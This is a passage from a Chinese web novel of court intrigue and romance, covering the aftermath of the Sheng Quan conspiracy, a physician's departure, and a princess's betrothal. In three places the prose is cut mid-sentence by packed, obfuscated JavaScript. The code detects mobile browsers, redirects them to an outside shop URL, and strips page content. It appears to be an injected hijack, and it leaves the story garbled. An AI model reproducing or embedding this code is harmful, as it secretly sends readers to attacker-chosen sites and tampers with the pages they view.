凌芷回道:“我跟舞姐姐要人了!舞姐姐说她会派蕊仙殿的姐姐跟着我沿途照顾我的!陛下也说会让沿途的驿站好好照顾我的!” “你!”凌信立即道,“你知不知道出去很辛苦?可能吃不饱穿不暖,还会生病!” 凌芷道:“我知道,所以我才要去。哥哥,我如果我不自己出去走走,见见世面,见见人情事故,一直在你们的保护下,我是长不大的!而且我原本学的就是毒医,师父不擅长毒草,而刘师兄却愿意教我。那我肯定要用心学才能把薛家毒医这一脉传下去!师叔说,东陵大好山河,有很多可以入药的毒草!” 凌芷说着就要去收拾药庐里她出去能带上的东西。 凌信眼看着妹妹大了管不了了,当即就跑回蔚兮堂找北寰言告状。 “你说她是不是上次从招灵台掉下来脑子摔坏了?”凌信嚷嚷着,“非说要跟着御医院的御医去推广曼陀罗的种法。还要去外面游医!她才多大啊!怎么能吃这种苦呢?!我跟你说我绝对不同意她出去。你赶紧去帮我劝劝她,让她死了这条心。爹爹娘亲肯定也不会同意的!” 北寰言听着凌信的抱怨,自己换药。 凌信在他耳边叨叨了小半个时辰才消停。 北寰言上完药穿好衣裳,看凌信倒了杯凉茶一饮而尽,温声道:“说完了?” 凌信点头。 北寰言看向屋外:“卫昭。” 卫昭从外面进来:“公子。” “小芷说要出去四处游医,你有没有兴趣跟她一起去四处看看?”北寰言问。 凌信一听不对劲:“不是,我来找你劝小芷不要出去。怎么看样子你还很支持她出去?” 北寰言看向凌信:“薛门原本就有游医的规定。你是薛门弟子,小芷也是。为什么你只许自己去,不许小芷去?” “我!”凌信哑口无言。 北寰言不看他,继续跟卫昭道:“你去跟着小芷,保护她的安全,直至她回来。” 卫昭抱拳。 “你也顺道看看,这东陵盛世,是不是如你所愿。”北寰言笑着,说得理所当然。 凌信见北寰言不管这事,转身就回屋给爹娘写信。 * 许都三月末,北寰言的伤已经养得差不多,可以开门迎客了。 郭学林带着好多珍贵的药材第一个上门探病。 临府管家收下郭学林礼单的时候发觉里面全是千年人参、百年灵芝这种滋补圣药。 北寰言右胳膊才好,正在屋外水池边的亭子里适应写字笔力。 门房来人说郭学林来了,北寰言便让人把他带进来。 再有一年,郭学林就要举行冠礼了。 最近郭府的门槛都快被媒人踏烂了,郭夫人每日都拿着画像到他屋里,问他喜欢哪个。 郭学林烦得要死,只能推脱说来探病躲了出来。 北寰言一边写字一边听着郭学林跟他絮叨:“不是祖母拿来给我看,我都不知道许都居然有这么多适龄待嫁的姑娘!” 北寰言颔首轻笑。 郭学林道:“要不然你跟我一起看看,你今年也十七了,该考虑考虑自己的婚事了。” 北寰言抬眸看着郭学林一眼:“来找我,没别的事了?” “你什么时候回朝啊?”郭学林道,“大理寺还在等你写盛泉案子的结案陈词。” “再等一段时间罢。”北寰言道,“我现在写不了那么多字。” “陛下没治盛泉的罪。”郭学林拿手撑着下巴,望着北寰言的笔尖,“许都内的四个招灵台炸了两个,也是陛下默许的……” “嗯。”北寰言道,“陛下比我们更聪明,他早就想到了这件事的背后主谋。后面的事都是陛下将计就计的一场戏。” 郭学林也赞同道:“南境五州因为地下神道死了那么多人,陛下也应该早就嗅到了一些阴谋的味道,所以那个时候陛下才会派你前往南境巡查。陛下就是要你查出南境五洲地下神道的事,削南泽王族藩只是顺势而为。而后便是要解决民怨的事,这才提拔了纵尚,让他按照盛泉原本的计划提出修建招灵台。” 北寰言放下笔:“陛下高瞻远瞩。我去看了许都四座招灵台的位置,多建在低洼地带。那里住的都是些穷苦人家。沟壑堵塞,蚊蝇乱飞,百姓很容易染上疾病。我记得这些年工部因为许都那些低洼地带的沟壑没少上折子,陛下也一直很重视这事。只是住在那的人不太好说话,改造一直没推行。这次炸的那两个招灵台,是陛下有意改造的区域。陛下还因为修建招灵台这事专门给住在那两个区域的百姓下了暂且迁出,安居城外的旨意。这下烧了,正合了陛下的心意。” 这一点郭学林倒是没注意到,他拍拍自己的脑门:“原来如此。这么看陛下执意要炸招灵台藏了这么多心思。” 这些事,也是北寰言这段时间躺在床上养病的时候才想明白的。 郭学林问:“白成就是盛泉这件事,你是怎么想到的?” 北寰言道:“其实我们早该想到了。白成,白成,就是盛泉这名字上半部分,倒过来写。他从一开始就告诉我们他是谁了。 “皇宫里的刺杀案,盛泉死在井里这件事,跟当时我们查的其他的所有案子都连不上。 “哪怕到最后了,也没有办法与我们手上的所有案子产生关联。 “其实那个时候,我们就知道这件事最根本的目的就是想要大家都相信盛泉已经死了。皇宫刺杀案的发生栽赃时家与兵部、拉内务府的总管下台,都是顺手的事。 “现在仔细想来,当初在沁春城里刺杀如玉的那个老吏是阉人,如福是阉人。西境勤王府里那两个细作,也是出自宫里。 “最开始在沁春城跟踪我们的那两个人死后连尸首都没留下,就是怕我获得太多信息,直接毁尸灭迹。 “后面有很多个时间点都能让我们警觉这事主使就是盛泉,只是当时突发的事情太多,要查的事情太多,要解释的事情太多让我们都忽略了这个看似格格不入的案子。” 郭学林点头,轻叹一声:“障眼法,盛泉深谙其道。他的每一招最终目的都是用了别的事件来掩盖。我们还是太年轻了,许多事都不能一眼看到本质。” 郭学林想了想又觉得奇怪:“盛泉为什么这么恨你们?他不仅想要安王府死无葬身之地,还想要景内官、时均白也跟着一起陪葬。” 北寰言颔首道:“这是一件陈年往事了。上一辈的纠葛,延续到了这一辈而已。盛泉的父亲盛明州在先帝期间任刑部尚书,被我母亲设计,发配西境。当时协助我母亲的人就是时均白的父亲。 “当年景叔还在梨园为了‘朝东门’能翻案当了伶人,景叔的身子就坏在了盛泉手上。后来母亲绑了盛泉,交给景叔看管。景叔以牙还牙,也坏了盛泉的身子。 “再后来他父亲盛明州的权谋之策超乎常人,在与我母亲的对弈里,惊天逆转了盛府灭门,让他苟活在宫里。” 讲到这北寰言轻叹了一口气:“其实我一直觉得之前那些恩怨这都不是盛泉想要报复安王府一众的初衷。他之所以有了后面筹谋是因为他那个没到两岁就夭折的儿子。 “当时他们盛家被抄家,他又被父亲送进了宫。家里只留了他的妻儿。盛家当时失于党争,他妻家怕盛家的事牵连仕途,没敢接回盛泉的妻儿。 “他妻子也是大户人家的小姐,没有母家的支持,也没有生计的本事,最后落得沿街乞讨。盛泉的儿子当时只是一场风寒发热没熬过去,就夭折了。他妻子也因为儿子死了,母族不接纳她,跳河自尽了。盛泉因为这场灾变痛失妻儿这才动了要亡东陵的念头。” “原来如此……”郭学林道,“现在看来这盛泉能布这么大的局,跟他父亲盛明州之前为永承太子僚属有很大关系。太子一党倒台牵连无数,那些曾经为永承太子所用的人,若还在朝中为官,必定有许多把柄在盛泉手上。前刑部尚书,手上有的把柄,能调动的人远比我们知道得多。” “嗯。”北寰言不置可否,“最开始纵尚能入仕拿到题目,也是因为当年出题的人是太子党。后面无论是与南泽郡主南雪还是与北境乌族,亦或者是西域各国取得联系,恐怕都是因为盛明州在其中牵线搭桥。我去西境的时候查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于后面意外入局的事,他即便是有所利用,但终究没那么多精力与时间坐下来慢慢分析。不如花了十多年计划的局周密。 自打从西境勤王府世子蔚巡生入局之后,盛泉谋局能力就显得有些不足。 但即便是这样,陛下肯配合安王府把北寰双子、凌信、时均白都圈禁气起来保护,郭学林至今都觉得不可思议,他从未想过一个帝王居然会心胸开阔到如此地步。 这件事中盛泉制造了无数安王府谋反的痕迹,若是历史上的前任君主都是宁可错杀不可放过。 更不要说配合安王妃去保护这些孩子的安全。 而许景挚不仅不杀整件事的主谋盛泉,还放了瘟疫案中的主谋刘谦。 陛下的聪慧,却也开明。 这样明君在上,那便是盛世之像。 年关前一天,北寰言在临府接到许景挚亲卫江海送来的解禁的密旨。 北寰言拿着密旨看了许久,才后知后觉,这一切的一切竟然都在陛下的掌控之中。 这一刻北寰言才意识许景挚真的是临太傅教过的、资质最好的学生,他自愧不如。 无论是后来的神鸟飞天巩固帝权,还是留下盛泉,要他见证盛世,那都是鬼门渊一脉中的上策谋心之举。 世人都说陛下这位置是安王让出来的。 可在北寰言看来,陛下这位置,是他靠谋算人心得来的。 就算是北寰言也不得不承认,陛下确实比自己的父亲更适合当帝王。 只有陛下这杀伐果断的性子才能带领东陵进入盛世。 “自古以来万圣之君都想着有一场盛大封禅大典,陛下也不例外。”郭学林仰头,看向天际浮云,“看着如今东陵,仓谷充盈,百姓安泰,万邦来朝,有盛世之象。陛下确实当得。” “公子。”流云从侧面进来抱拳一礼,“凌姑娘要走了。” “这么快?”北寰言站起身走了一步才回过身来对郭学林道,“我去送个人,你且等我一等。” 郭学林难得看见北寰言慌忙的样子,一脸艳笑:“你去就是。” 北寰言点头,也不跟郭学林客气,快步到蕊仙殿凌芷住的偏殿外,轻轻地叩了几下门。 凌芷正在打包行囊。 听见有人扣门,忍不住回头看去。 是言哥哥。 她眨眼望着北寰言,一言不发。 252. 结发 北寰言踱步进去,薄唇紧抿不知道该说些什么。 凌芷见北寰言不说话,便先开口道:“我……一会儿就跟御医院的御医们一起出城了。言哥哥有什么要交代的?” 北寰言摇头:“我来送送你。” 凌芷看了北寰言一会儿,又继续低头去打包。 北寰言站在凌芷身后,静静地看着她。 从招灵台掉下来,养病的这三个月一直都是凌芷照顾他。北寰言发觉自从凌芷偷偷亲过他之后就变得越发稳重了。 听凌信说,凌芷最近一直在看跟跌打损伤有关的医书,日日都跟着凌信上操的时辰起床温书。温完书后,又去找太傅学习。下午还要跟着那些打理院子的师傅一起学习如何护理草木。 每天三遍给他送药,毫不懈怠。 以前贪睡贪玩贪吃的毛病都不见了。 这姑娘就像是一夜之间长大了一般,再也不在学医上偷奸耍滑了。 凌芷打包好行囊,要背在身上,北寰言伸手道:“我帮你拿过去罢。” 凌芷想了想,把行囊递给北寰言,转身就往后院马厩房走。 凌芷步子迈得极大,走在前面,像是迫不及待地要离开许都一样。 北寰言蹙眉,抬手按住自己胸口,轻咳了几声,便扶住了院子门洞不走了。 凌芷听见北寰言轻咳几下,立即回头,发觉北寰言捂着胸口走不动了,连忙折身回去,一脸紧张地问:“言哥哥哪里疼?” 北寰言摇头:“咳的时候,胸口有点……” 凌芷不再那么着急地走,而是撅着小嘴看着北寰言。 北寰言从衣袖里摸出来一个小锦袋递给凌芷:“带上。” 凌芷疑惑地接过来,要拆开看。 北寰言连忙道:“上了车再看罢。” 凌芷捏了捏,里面好像什么都没有。她想了想,还是把这个小锦袋收到衣襟里。 北寰言喘了几口气,便示意凌芷跟他一起走。 这下凌芷没有那么急了,跟在北寰言身边缓步往后院走。 “我听蕊仙殿的姐姐说,郭哥哥来了。”凌芷问,“他走了吗?” “还没。”北寰言道,“我留他用午膳,先过来送你走。” “郭哥哥来跟你说什么了?”凌芷问。 北寰言睨了一眼凌芷,眸光微动:“来说他的亲事。” 凌芷放慢了脚步,但很快就停住了。 北寰言回身,回望着她。 “言哥哥你……”凌芷想说什么。 北寰言眼眸微睁。 “……你在家好好养病,哥哥会好好照顾你的。”凌芷说罢便又加快了脚步。 北寰言敛了眸低的一些些失落,跟上凌芷的脚步道:“学林问了我的婚事。” 凌芷没有接话。 北寰言自顾自地道:“我说我还小,没到议亲的年纪……” “言哥哥。”凌芷回身注视着北寰言。 北寰言顿住脚,也看着凌芷。 “行囊给我,我到了。”凌芷伸手要东西。 北寰言蹙眉,引导得这么明显了,她为什么还不做声? 若是以前,她早该忍不住要问了。 北寰言把行囊递给凌芷,凌芷接过来,北寰言却没松手。 他轻轻地对凌芷说:“我等你。不管多久。” 凌芷微微一愣,有些没听懂言哥哥说的话。 他等她…… 是等她回来,还是等她……长大? 北寰言见凌芷还没明白,便用手指了指自己的唇角,淡然一笑。 凌芷看着北寰言指的地方,正是自己那日偷偷吻他的唇角,顿时脸色大变。连忙一把扯过行囊头也不回地上了马车。 心脏仿佛是停顿了一般,直到马车起步凌芷的心才开始狂跳不止。 言哥哥指了她亲他的地方。 言哥哥说他等她,不管多久。 那是不是意味着,其实她偷偷亲他的时候,他根本就没睡着。她说的话,他全部都听见了?! 凌芷捂住心口,摸到了方才北寰言给他的那个小锦袋。 她连忙把那锦袋拉出来打开,从里面取出一缕系着红绳的青丝。 这青丝发质微微硬,是……言哥哥的头发? 他……剪了自己的头发系上了红绳给她…… 到底是什么意思? 北寰言哪知凌芷开窍只开了一半,他更不知的是这件事一直困扰着凌芷,直至她五年后再见他。 * 景雀已经许久不掌事了,御前的事一直都是徐迎在做。 他被圈禁的这五个月里,许景挚让御医院好好地给他调养身子,不让他再操劳。 许景挚再进承恩殿,是二月。 景雀穿得单薄,靠在火盆边上的贵妃椅上睡着了。 他的手上还拿着一本诗书。 许景挚眉宇拧着,从木施上拿下狐裘大氅给他盖上,又去把窗户打开透气。 动作的声音不小,根本就没打算压着。 景雀睁眼,看见许景挚一脸怒意站在窗前望着他。 许久没见许景挚,景雀好似不认识了一般,愣愣地望着他。 许景挚怒道:“用火盆还不开窗?你这是要寻死?” 好一会儿景雀才回过神来,裹着大氅缓缓坐了起来,轻声道:“不是。” 这话一出,便没有更多的话了。 景雀垂眸,望着火盆里的星火,不知该说什么。 他被圈禁的这五个月,几乎夜夜都没点灯。他与他一墙之隔,却始终见不到一面。 景雀像是置气一样,缓缓站起身,然后跪下:“奴,拜见陛下……” 许景挚两步过去,一把拉起景雀就往寝殿去。 欢愉间,许景挚问景雀:“热了吗?” 景雀湿汗淋淋,喉咙里堵着声音,一点点都发不出来。 “气够了吗?”许景挚捏一把,“我对你的心思是白用了?让你气这么久?” 景雀疼得身子打颤,报复回头咬住了许景挚的胳膊。 “啊?”许景挚捏住景雀下巴,“真咬啊?” 景雀眼缝里全是春来的桃花。 “到底在气什么,跟我说说?”许景挚一用力,景雀便什么也说不出来了。 哪有那么多气。 只是怨他罢了。 他早就知道白成是盛泉不跟他说,也早早做了打算,在最后时刻圈禁他护他周全。 圈禁这几个月,大补汤药流水一般地送过来,景雀即便是再气也该消了。 他不是个蠢人。 看着这些补药就知道许景挚不是真的要圈禁他。 上次他替他挡了一箭的时候,他就把他的身子放在了心里。面上不说,却一直想找个机会让他好好休息调养。 盛泉从中作梗,便给了许景挚一个圈禁他,让他好好养身子的理由。 “不是有消息说,我放出去的岚雨去了西境给世子妃送东西去了吗?”景雀躺在许景挚身边,“你就那么相信这事不是我做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481876|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 许景挚冷笑一声:“我怎么记得我老早就提醒过你,你这般心软如何能替我拿捏住内务?” “那你是从什么时候开始知道盛泉就是白成的?”景雀问。 许景挚道:“刺杀案以后就知道了。” “刺杀案?”景雀侧过身,看向许景挚。 “沁春城一案牵扯安王府、时家。”许景挚也侧过身,望着景雀,“后来刺杀案一出,盛泉看上去像是寻机复仇而死,但全城瘟疫案又牵扯神医谷、锦妃的案子牵扯上了你,我就知道盛泉没死。想把安王府、时家、你圈在一起杀想的人不多,稍稍想一下也知道这事是盛泉做的。但南境五州地下神道的事一出,我便不能这样杀了他。若是盛泉留了后手拿这事激起民愤,得不偿失。所以那日在御书房,我跟纵尚做了一个交易。” 景雀细细回想,想到那日许景挚连他都遣了出去,只跟纵尚单独聊,竟然聊的是这件事。 “我以工部左侍郎为饵,让纵尚投诚与我,他也聪明,那日来御书房,他就把南泽被策反的旧部名单给了我。以表忠心。”许景挚垂眸,拎起景雀一缕青丝,“我一边让他为盛泉做事摸一摸盛泉最后目的为何,一边想着最后的解局。纵尚只是前兵部尚书盛明州关系网中的一环。黑市在西境丢的那些硝石到底为何人所劫,就连纵尚也不知道。” 许景挚玩够了头发,便翻个身仰着睡,望着床帘:“其实动盛泉容易,但我想要的更多。只要永承太子的这张关系网还在,以后只要有人有谋反的心思,就都能利用起来。所以我只能按兵不动,目的就是要看盛泉到底能动用多少我看不见的关系。” 景雀参与过十八年前那场惨烈的四龙夺嫡。 盛明州就是永承太子许安泽的旧部。 永承太子虽死,可留下来的关系网却很庞大。 这次盛泉之所以能布这么大的局,就是利用自己父亲盛明州握在手上那些人的把柄,让那些人为自己所用。 许景挚早就知道盛泉是始作俑者,却还是耐住性子,看他演了这么一场戏。 西境劫道的流匪、北境挑唆乌族来和亲的家族、南境南泽王族,甚至连带着南境、陵中官场,都还有永承太子的关系。 北寰言去查的,只是这些关系的冰山一角。而许景挚想要的,是这些关系网的全部。 北寰双子才是许景挚放出去的障眼法。 他要他们在明面上追查,逼得对方走投无路之后弃投更多的棋子与关系,从而拉出整张关系网。 “对不起。” 景雀在想明白许景挚面临的困境之后,靠向他,低低地道了一声歉。 他跟所有人一样,都只看见许景挚的外表,没看透他的内心。在盛泉这件事上许景挚想得远比之前当一个逍遥王爷要多得多。 不在其位不谋其政。 现在他坐到了这个位置,便要殚精竭虑为东陵盛世奉献一生。 明面上的谋算他要管,暗地里的关系网他要清除。 他是真正地想为自己子孙后代留下一个清平盛世,他也是真的想把东陵带入盛世里。 所以他放了盛泉。 要他在盛世里生,要他在盛世里死。 他要最恨他的人看清楚,他身为帝王无可挑剔,东陵的后辈所向披靡。 他要告诉全天下,任何人都不要想觊觎东陵这繁华盛世,一旦有人觊觎,盛泉就是他们的下场。 “你要去见见盛泉吗?”许景挚问。 景雀摇头:“我与他的恩怨,已经结了。” 253. 订婚 时均白一脸愁容地望着这才建好没多久,就近乎于报废的风隼。 之前他与时寻都只操心这风隼能不能飞起来,从而都忽略了风隼飞起来之后,要如何降落。 倒不是时均白没想过这个问题,只是让风隼飞起来这个问题就足以耗尽他全部的精力。 所以这些出去救援许都火场的风隼,最后回航的时候,底部损毁严重。若是时间更充裕一些,时均白相信自己能解决这个问题。 但听见许都爆炸,看见许都变成一片火海以后,他就坐不住了。 时秋谍不许他试飞,说风隼飞起来容易,降落要怎么办?! 时均白厉声反问:“若是许都真的出了什么事,那这些机械放在这里又有何用?!” 时均白以时家下一任家主之名,在崂山的建造坊点了三个操控手跟他一起试飞。 所有人都知道这可能是一次有去无回的试航,但时家的操控手没有一个退缩,甚至老一辈的操控手不让时均白上风隼。 但时均白坚持。 他说,许都里有一个他心爱的姑娘在等着他。他要亲自去救她出来。 这也是时寻的愿望。 “暮风。”北寰舞绕着风隼走了一圈,回到时均白身边,“实在很难修就重新造罢。现在国库充盈,这些还是耗得起。原本这飞天术研发就不是一朝一夕的事,陛下既然许了你,自然有足够的费用给你们。” “我要回暮云峰,跟时寻重新设计降落的细节。”时均白仰望风隼,拍了拍风隼的身躯,一脸歉意。 这风隼就像是他战友一样。 而今损坏了,他很愧疚。 “回暮云峰只说风隼的事?”北寰舞侧头望着时均白。 时均白微微一愣,随即耳根红了一片:“那……我还是先回邱州,跟爹爹娘亲说我们的婚事。” “你母亲不同意怎么办?”北寰舞问。 “……”时均白想了想道,“那就学爹爹当年娶娘亲一样,在祠堂里跪几天,娘亲自然就心软了。” “其实我还有个办法。”北寰舞靠过去,伸手攀住时均白的脖颈,把他抵在风隼上,一脸潋滟。 时均白看不了这样的北寰舞。 十七岁的北寰舞已经褪去之前稚嫩。 眉眼里全是春潮。 只是这样看着他,就让他无所适从。 时均白扶住北寰舞的腰身:“别、这样……” “哪样?”北寰舞不管,缓缓靠近时均白。 她知道自己发育得很好,软软地靠向时均白,他根本受不了。 北寰舞唇红,一点点贴到时均白的下巴,鼻息摩挲着他的薄唇。 时均白心跳如雷,下颚的线条越发紧绷。 北寰舞狭长的眼眸里带着点索要的情绪。 她明明这么主动,却不肯再主动一点。 “大少爷……” 旁边有时家检修的工匠绕过来,看见自家少爷被郡主抵在风隼上,一时间傻了眼。 时均白想要做点什么,北寰舞睁大了眼睛让他别动。 时均白只能咬紧下唇,硬着头皮道:“有事一会儿再说……” 那人愣片刻还没回过神来。 北寰舞侧过头来,手从时均白脖颈处落在时均白腰间,顺便也把头枕在时均白的肩膀上,笑盈盈地望着那个人,故意抱紧了时均白。 时均白整个腰腹随之一紧,整个人都变得僵硬。 那人再蠢也知道自家少爷跟长乐郡主有事,立即欠身几拜退了出去。 “商量个事……”时均白一脸窘迫低头盯着北寰舞。 “嗯?”北寰舞抬眸,弯着眼睛看他。 “以后人前……给我点面子。”时均白唇线紧抿,“我还要带着他们干活……你我这样,倒像是我被强迫的。背地里指不定怎么说我俩。” “他们不敢议论我。”北寰舞踮起脚,笑意更胜,“议论皇族,是死罪。至于怎么说你……与我何干呢?” “你!”时均白气急,兜住北寰舞的头狠狠地吻了下去。 “时均……唔……”北寰舞打了他两下,“轻……唔……” 北寰舞被堵得呼吸不畅,眼角微红。 面对这姑娘,太难忍了。 时均白情不能控,吻完又抱住北寰舞,低声请求:“以后别再这样勾引诱我了。我很难受。” “为什么要压着?”北寰舞轻轻咬了下他耳朵,“我愿意。我什么时候都愿意。” “事情没定下来之前,我不想你这样没名没分地跟着我,委屈了自己。”时均白亲了亲北寰舞的耳垂,在她耳边低语,“等我把这边的事安排好,就带你回邱州。” 北寰舞轻轻地推开时均白,道:“我在许都等你。” “不跟我回去?”时均白蹙眉。 “还有些事……” 北寰舞话还没说完,时均白便又吻了上来。 吻完他恨恨道:“不许跟郭学林说话!” 北寰舞没忍住,笑开了,用手指戳了戳他的脸:“你吃醋的样子可爱极了。” 时均白一脸严肃,他没跟北寰舞说笑。 北寰舞见他是真的很担心这事,解释道:“你不用担心,郭学林不能跟我成婚。他若跟我成婚,仕途就毁了。之前中书令气得也是这事。我的夫君,不能在朝担任重要职务。郭学林心有鸿鹄,不会拘于儿女情长。” “你知道,难道他不知道吗?”时均白低声问。 北寰舞一愣,这才后知后觉。郭学林这是拿他的仕途,要保她一生平安。 “你放心罢。”北寰舞敛了笑意,“他是哥哥的朋友,我不会毁了他的仕途。这事我有分寸。而且他也不是你,他最多是年少心动,但最后终归会选择正确的路。” 二月,时均白回了邱州,请父母做主他与北寰舞的婚事。 时休高兴地直拍大腿,时夫人却是一脸愁容。 但看他俩分手那段时间,时均白近乎于濒死的状态,时夫人也不敢再多说什么。 这孩子跟他父亲一样,一旦情根深种,就生死同期。 其实时夫人不讨厌北寰舞。 北寰舞的母亲是替她们家翻案的恩人。 北寰舞那姑娘虽然看似不循常礼,但皇家教养出来的姑娘,怎么可能跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495563|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻常姑娘一样。即便是在桀骜不驯,自小的养在太傅面前的教养还是有的。 时均白是一个单纯的孩子,跟他爹一样,更适合一心一意钻研。而北寰舞年纪轻轻就掌握了黑市,可见以后掌家跟她一样是一把好手。 北寰舞比她有魄力,能替时均白压住时家这些家族耆老,这就够了。 再想着时均白十岁之后就寄养在安王府学艺,安王与安王妃都悉心照顾时均白,时夫人便对时均白与北寰舞的也没有那么大的抵触。 时均白这次去暮云峰跟时寻一起攻破了时家的飞天术,这是一件大事。 时家堡上下因为这件事,更加认同时均白为下一任家主。 时均白跟时休说:“爹爹,做完这一个皇墓,后面的皇墓我们就不要再接手了罢。现在时家有了风隼,便有了立足之本。日后我们还可以研究时家的驭水术,去南境海上,带着所有人向外走。” 时休望着时均白很欣慰地拍了拍他的肩膀道:“你终究是走出了属于你们这一代的道路。你想要研究飞天术、驭水术,全族的人都会全力支持你。你只管放手去做就是。” 时均白有些为难道:“眼下时家研究这些,银钱耗费巨大。我……” 时休轻笑,扬了扬下巴,让时均白看身后。 时均白回身看见时雨童在他身后,摇着那把小金扇,笑盈盈地走过来:“大公子不必操心。钱的事,我来解决。能用钱解决的事,那都不是事。” 时雨童这一年也长高了不少,跟时均白站在一起,风华正茂。 * 三月低,时休便带着夫人先行去暮云峰,要跟许安归北寰洛说长乐郡主的婚事。 四月初的时候,时均白才同北寰舞一起回到暮云峰。 他俩定亲只有许安归一副臭脸。 宴席上北寰洛似笑非笑地靠向许安归,低声道:“你若再摆这张臭脸,以后的日子,你可仔细点。” 然后她又对许安归一笑,许安归也不再绷着脸。 北寰舞为郡主,成婚要走皇家礼聘,流程繁杂。 今年定下婚约,行完礼之后,也要来年了。 时寻在暮云峰神医谷治病,时均白要与时寻重新设计风隼降落细节机械零件。他与北寰舞订婚以后便住在了暮云峰安王府。 时休则是还有皇陵要修,订婚宴之后,便带着夫人回了邱州。 一年没回暮云峰了,北寰舞回来就一直粘着许安归。日日拉着时均白一起按照皇家规矩来跟父亲母亲晨昏定省。 北寰舞知道爹爹看时均白不顺眼,但她觉得只要看多了,爹爹总会看时均白顺眼的。 倒是北寰洛一直很喜欢时均白。 时均白在暮云峰上大部分的时间是制作新的风隼模型,做的事情很单纯,没有世俗那些心思。 北寰洛觉得有时均白这样心思单纯的孩子守着北寰舞,北寰舞日后才不会在许都那些纷争里迷失方向,才能平安过完这一生。 北寰舞最近日日赖在上房用饭。 北寰洛用饭的时候,跟许安归商量:“不然,让言儿改回皇姓罢……以后言儿总是也要成婚的。” 254. 盛世山河 山河千色,万江同流。 每次说到这事许安归都不言语,低头用饭。 北寰舞一听母亲想让哥哥改回皇姓,当即也放轻了吃饭的动静。 北寰洛道:“言儿本就应该有安王府世子的身份。你不许他们跟你姓,到底还是担心他们卷入皇权之争。可他身为你我的儿子,这一切就避免不了。倒不如让他恢复皇姓,入了皇家族谱。日后在朝里做事也更加名正言顺。有身份了,有些人想要拿捏言儿,都要顾忌皇家声誉。” 许安归放下筷子,还是一言不发。 北寰洛看向北寰舞问:“舞儿要不然也恢复皇姓?” 北寰舞连连摇头:“我才不,我就要跟母亲姓。” “算了吧,”许安归道,“言儿姓北寰,婚事就还是我俩说了算。若改回皇姓,陛下也有指婚的权力。” 这次北寰舞和亲的事,让许安归心有余悸。 两人意见相左的时候,北寰舞道:“这事为什么不跟哥哥商量一下呢?这毕竟是他的事啊。” 北寰洛想想也是,便让许安归给北寰言写信商量这事。 北寰言接到信的时候,认真地想了很久,才提笔给父亲回信。 他说他愿意恢复许姓。 因为他想给凌芷更好的生活。 凌芷有太多想走的地方,想看的东西,想学的医术。 凌芷学医所用的毒草、毒虫很是难找,需要花费很多人力物力才能搜集。 而他在朝为官,一年俸禄不过三百两,即便是有陛下赏赐,年俸也不过几千。 再者维护府邸的开支巨大。只有恢复皇姓,他能继承安王府的皇族产业,陛下才能按照祖律,给他世子身份该有的皇产。 他不想凌芷因为生计而断了自己的爱好。 这与权谋无关。 信中,北寰言坦诚地跟父母说为了养凌芷以后学医花销,他愿意恢复皇姓。 北寰言意思何其明显,一封信直接跟父母说明了他以后的妻是凌芷。 凌芷那小丫头是许安归与北寰洛看着长大的。 品性与模样都是上乘。 许安归一直都很喜欢凌芷。 既然恢复皇姓也是北寰言的期望,许安归便没有理由阻拦。 第二年年初皇家祭祀,许景挚带着北寰言进了皇陵,向先者郑重地介绍了安王府世子,许言。 * 在修改风隼设计图的时候,时均白把前段时间发生在许都的事,断断续续地跟时寻说了一遍。 “真的?” 时寻一口把药喝完,不可思议地睁大眼睛望着时均白。 时均白没看他,盯着图纸点点头。 “原来是这么回事……”时寻目光落在窗棂上喃喃自语。 “嗯?”时均白不解地看向时寻,“什么这么回事?” 时寻目光越过暮云峰层层云雾看向更远的地方:“你还记得最初我设计风隼的初衷吗?” 时均白想着那日他们在一起喝酒时寻说的话,回道:“因为南泽郡主说,如果想救她,只能带她从许都飞出去?” 时寻点头:“那时候她看似无意说出来的话,其实早就告诉过我,他们的最终目的了……” 确实,地面火海,从天上逃走才有一线生机。原来在那么久远的时间,南雪就已经把整个事件最后的解局告诉了时寻。 所以,南雪其实也是喜欢时寻的? 时均白望着时寻若有所思。 “暮风。”北寰舞叩门而入。 时均白起身迎过去:“怎么?” 北寰舞招手,让时均白跟她走。 时均白一脸疑惑看了时寻一眼,时寻让他去。 时均白跟着北寰舞出了茅屋,走了很远才问:“怎么了?这么神秘?” 北寰舞回身指了指时寻住的茅屋。 时均白回头看见一个姑娘正好推门而入,那姑娘他没见过。 “那是……”时均白疑惑地问。 “南雪。”北寰舞笑得好看。 “她不是在大理寺大牢里……”时均白惶恐地睁大了眼睛,“你把她给偷出来了?!” 北寰舞看时均白如此,笑得更胜。她从怀里拿出一张告示,递给时均白:“你自己看。” 这告示是府衙发布的,上面写的是去年秋后处斩的人,里面包括南雪、如福。 “南雪已经死了。”北寰舞道,“现在在这里的,是时雪。以后你就别没事随便进时寻的屋子了。他有人照顾。” “陛下的意思?”时均白问。 